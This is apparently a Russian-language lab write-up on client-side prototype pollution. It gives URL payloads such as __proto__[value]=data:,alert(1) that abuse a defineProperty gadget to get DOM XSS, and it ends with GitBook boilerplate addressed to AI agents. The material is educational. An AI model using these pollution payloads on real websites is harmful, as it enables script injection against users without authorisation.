> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md).

# Загрязнение прототипа на стороне клиента через API браузера

### Порча прототипа на стороне клиента с использованием браузерных API

#### Контекст лабораторной работы

Этот учебный пример уязвим к **DOM XSS** вызывается через **порча прототипа на стороне клиента**. / Разработчики выявили потенциальный гаджет и попытались исправить его, но можно **обойти патч**.

Цель:

* Найдите **источник** чтобы добавлять произвольные свойства в `Object.prototype`
* Определите **свойство гаджета** что приводит к выполнению JavaScript
* Сочетайте оба, чтобы вызвать `alert()`

### 1) Источник: `Object.prototype` Порча через URL

#### Инъекция из строки запроса

Порча проверяется через URL:

```javascript
/?__proto__[foo]=bar
```

#### Управление в консоли

В консоли браузера:

```javascript
console.log({}.foo)
```

Результат: `bar`/ Это подтверждает, что удаётся внедрить свойство в глобальный прототип.

<figure><img src="/files/2f6164d8a8196cb5c59939a3b5da9ea969d13f51" alt=""><figcaption></figcaption></figure>

### 2) Понимание влияния: изменение поведения объектов

Пример изменения прототипа через объект:

```javascript
const jordan = {
}

jordan.__proto__.country = "Andorra"
```

<figure><img src="/files/db39d786c249a9f8d4a4327f2a4e30f0a1ae923c" alt=""><figcaption></figcaption></figure>

Затем:

```bash
console.log({}.country)
```

Теперь все объекты наследуют `country`, что показывает общее влияние порчи.

<figure><img src="/files/f9c52bb7743e512ca2791921211a892fdcdbb172" alt=""><figcaption></figcaption></figure>

### 3) Гаджет: динамическая загрузка скрипта через унаследованное свойство

Интересный файл:

`/resources/js/searchLoggerConfigurable.js`

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Не удалось сохранить запрос");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
    Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

#### Ключевое поведение скрипта (кратко)

* Он создаёт объект `config` содержащий:
* `params` (из URL)
* `transport_url` инициализировано значением `false`
* Он блокирует `config.transport_url` на `Object.defineProperty(... configurable:false, writable:false)`
* Затем:
* если `config.transport_url` если значение истинно → он создаёт `<script>` и делает `script.src = config.transport_url`

#### Почему это работает несмотря на патч?

Как `transport_url` \*\*не имеет по-настоящему определённого пригодного значения\*\*, код может **найти значение, унаследованное от прототипа** (загрязнённый).

Так что если мы внедрим нужное свойство в `Object.prototype`, оно используется как источник скрипта.

### 4) Эксплуатация: принудить `script.src` через прототип

#### Шаг 1: подтвердите гаджет

Внедрив:

```bash
/?__proto__[value]=bar
```

Браузер создаёт:

```javascript
<script src="bar"></script>
```

<figure><img src="/files/0b227735b0c78b60372a7f14f3602fb8c3021aa0" alt=""><figcaption></figcaption></figure>

`src` находится под контролем.

#### Шаг 2: Запустите JS через `data:` URL

Итоговая полезная нагрузка:

```javascript
/?__proto__[value]=data:,alert(1)
```

Наблюдаемый результат:

```javascript
<script src="data:,alert(1)"><div></div></script>
```

Браузер интерпретирует `data:,alert(1)` и выполняет `alert(1)`: **DOM XSS успешно**.

<figure><img src="/files/fece58ed33857ac2989731a99f4ac38da1e78d91" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.